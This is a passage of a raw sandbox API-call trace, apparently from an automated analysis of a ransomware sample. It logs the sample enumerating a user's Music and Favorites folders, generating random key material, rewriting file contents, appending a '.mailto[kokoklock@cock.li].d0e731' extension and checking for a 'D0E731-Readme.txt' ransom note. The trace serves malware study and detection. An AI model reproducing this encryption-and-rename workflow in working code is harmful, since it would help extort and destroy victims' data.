lpNumberOfBytesWritten=0x121ef99c*=0x20, lpOverlapped=0x0) returned 1 [0170.314] WriteFile (in: hFile=0x530, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x121ef99c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x121ef99c*=0x4, lpOverlapped=0x0) returned 1 [0170.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0170.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0170.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.314] CloseHandle (hObject=0x530) returned 1 [0170.315] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff2450 [0170.315] wcscpy (in: _Dest=0x2ff2450, _Source="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731" [0170.315] wcscat (in: _Dest=0x2ff2450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.315] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\saddu8qud.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\saddu8qud.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.315] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.316] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2450) returned 1 [0170.316] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4960 [0170.316] wcscpy (in: _Dest=0x2fa4960, _Source="C:\\Users\\FD1HVy\\Music\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0170.316] wcscat (in: _Dest=0x2fa4960, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" [0170.316] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\d0e731-readme.txt")) returned 0x20 [0170.316] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4960) returned 1 [0170.316] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4be0) returned 1 [0170.316] RtlExitUserThread (Status=0x1) Thread: id = 1896 os_tid = 0x8e4 [0170.317] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4960 [0170.317] wcscpy (in: _Dest=0x2fa4960, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" [0170.317] wcscat (in: _Dest=0x2fa4960, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0170.317] wcscat (in: _Dest=0x2fa4960, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\*") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\*" [0170.317] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023328 [0170.317] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\*", lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6197b320, ftCreationTime.dwHighDateTime=0x1d4cbc3, ftLastAccessTime.dwLowDateTime=0x8488cdc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30453e8 [0170.320] wcscmp (_String1=".", _String2=".") returned 0 [0170.320] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6197b320, ftCreationTime.dwHighDateTime=0x1d4cbc3, ftLastAccessTime.dwLowDateTime=0x8488cdc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.320] wcscmp (_String1="..", _String2=".") returned 1 [0170.320] wcscmp (_String1="..", _String2="..") returned 0 [0170.320] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899001c0, ftCreationTime.dwHighDateTime=0x1d4d11d, ftLastAccessTime.dwLowDateTime=0xb8bc3c0, ftLastAccessTime.dwHighDateTime=0x1d4d2f0, ftLastWriteTime.dwLowDateTime=0x84840998, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2eb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CRD9RO~1.D0E")) returned 1 [0170.320] wcscmp (_String1="CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.320] wcscmp (_String1="CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.320] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f9e070 [0170.320] wcscpy (in: _Dest=0x2f9e070, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" [0170.320] wcscat (in: _Dest=0x2f9e070, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0170.320] wcscat (in: _Dest=0x2f9e070, _Source="CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731" [0170.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9e070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0170.924] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84840998, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84840998, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84840998, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0170.924] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0170.924] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0170.924] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff3bd0, ftCreationTime.dwHighDateTime=0x1d4ced1, ftLastAccessTime.dwLowDateTime=0x78e8d300, ftLastAccessTime.dwHighDateTime=0x1d4ce8a, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xcedf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PMQ_LM~1.D0E")) returned 1 [0170.924] wcscmp (_String1="PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.924] wcscmp (_String1="PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.924] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f917c0 [0170.924] wcscpy (in: _Dest=0x2f917c0, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" [0170.924] wcscat (in: _Dest=0x2f917c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0170.924] wcscat (in: _Dest=0x2f917c0, _Source="PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731" [0170.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f917c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0170.925] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff3bd0, ftCreationTime.dwHighDateTime=0x1d4ced1, ftLastAccessTime.dwLowDateTime=0x78e8d300, ftLastAccessTime.dwHighDateTime=0x1d4ce8a, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xcedf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PMQ_LM~1.D0E")) returned 0 [0170.925] FindClose (in: hFindFile=0x30453e8 | out: hFindFile=0x30453e8) returned 1 [0170.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023328) returned 1 [0170.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4960) returned 1 [0170.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88a50) returned 1 [0170.926] RtlExitUserThread (Status=0x0) Thread: id = 1897 os_tid = 0x8cc [0170.320] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\v mwk23ocjq.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.321] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\v mwk23ocjq.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.321] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x122efed4 | out: lpFileSize=0x122efed4*=34251) returned 1 [0170.321] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x85c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.321] ReadFile (in: hFile=0x528, lpBuffer=0x122efea8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x122efea4, lpOverlapped=0x0 | out: lpBuffer=0x122efea8*, lpNumberOfBytesRead=0x122efea4*=0x4, lpOverlapped=0x0) returned 1 [0170.322] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0170.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.322] NtQuerySystemTime (in: CurrentTime=0x122efe80 | out: CurrentTime=0x122efe80*=132121213276314820) returned 0x0 [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xc73eb69f [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x4645e58f [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x84b5f800 [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x7fcbc322 [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x5d96a60d [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xc2da8326 [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x51cf5a94 [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xf7c80824 [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x2eec259 [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xcc69b8cb [0170.322] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xaa3e16f8 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xbdd93a09 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x284ce74 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xab02bcde [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x7238f18c [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x5b3ce70e [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x77a1b42c [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x61572b76 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x8aa16665 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xc8f1cfe9 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xa8374d00 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xf495d25b [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xa1f36a02 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xe7634d9c [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x9d20eb72 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xa7f811d [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xf72a919a [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0xbe9dcd79 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x15f6defa [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x2dc8bca8 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x1b2c17e7 [0170.323] RtlRandom (in: Seed=0x122efe8c | out: Seed=0x122efe8c) returned 0x6985d67 [0170.332] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0170.334] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.334] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.334] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.334] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x122efe58, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x122efe58*=0x4096, lpOverlapped=0x0) returned 1 [0170.335] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4398 [0170.335] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4398) returned 1 [0170.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0170.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4398 [0170.335] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4398) returned 1 [0170.335] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.335] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.335] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x122efe58, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x122efe58*=0x4096, lpOverlapped=0x0) returned 1 [0170.336] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.336] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x85cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.336] WriteFile (in: hFile=0x528, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x122efe90, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x122efe90*=0x20, lpOverlapped=0x0) returned 1 [0170.336] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0170.336] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.336] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x122efea4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x122efea4*=0x8, lpOverlapped=0x0) returned 1 [0170.336] WriteFile (in: hFile=0x528, lpBuffer=0x122efebc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x122efea4, lpOverlapped=0x0 | out: lpBuffer=0x122efebc*, lpNumberOfBytesWritten=0x122efea4*=0x4, lpOverlapped=0x0) returned 1 [0170.337] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x122efea4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x122efea4*=0x4, lpOverlapped=0x0) returned 1 [0170.337] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x122efea4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x122efea4*=0x6c, lpOverlapped=0x0) returned 1 [0170.337] WriteFile (in: hFile=0x528, lpBuffer=0x2f883b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x122efea4, lpOverlapped=0x0 | out: lpBuffer=0x2f883b8*, lpNumberOfBytesWritten=0x122efea4*=0x20, lpOverlapped=0x0) returned 1 [0170.337] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x122efea4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x122efea4*=0x4, lpOverlapped=0x0) returned 1 [0170.337] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0170.337] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.337] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0170.337] CloseHandle (hObject=0x528) returned 1 [0170.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff2450 [0170.337] wcscpy (in: _Dest=0x2ff2450, _Source="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731" [0170.337] wcscat (in: _Dest=0x2ff2450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.337] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\v mwk23ocjq.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\v mwk23ocjq.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.338] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2450) returned 1 [0170.338] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.339] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4ba0 [0170.339] wcscpy (in: _Dest=0x2fa4ba0, _Source="C:\\Users\\FD1HVy\\Music\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0170.339] wcscat (in: _Dest=0x2fa4ba0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" [0170.339] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\d0e731-readme.txt")) returned 0x20 [0170.339] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4ba0) returned 1 [0170.339] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4d10) returned 1 [0170.339] RtlExitUserThread (Status=0x1) Thread: id = 1898 os_tid = 0x980 [0170.340] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.342] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.342] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x1236f9c8 | out: lpFileSize=0x1236f9c8*=400) returned 1 [0170.342] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x18c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.342] ReadFile (in: hFile=0x528, lpBuffer=0x1236f99c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1236f998, lpOverlapped=0x0 | out: lpBuffer=0x1236f99c*, lpNumberOfBytesRead=0x1236f998*=0x4, lpOverlapped=0x0) returned 1 [0170.343] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.343] CloseHandle (hObject=0x528) returned 1 [0170.343] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.343] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82c58) returned 1 [0170.343] RtlExitUserThread (Status=0x0) Thread: id = 1899 os_tid = 0x830 [0170.344] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x44) returned 0x2feff50 [0170.344] wcscpy (in: _Dest=0x2feff50, _Source="C:\\Users\\FD1HVy\\Favorites\\Links" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Links") returned="C:\\Users\\FD1HVy\\Favorites\\Links" [0170.344] wcscat (in: _Dest=0x2feff50, _Source="\\" | out: 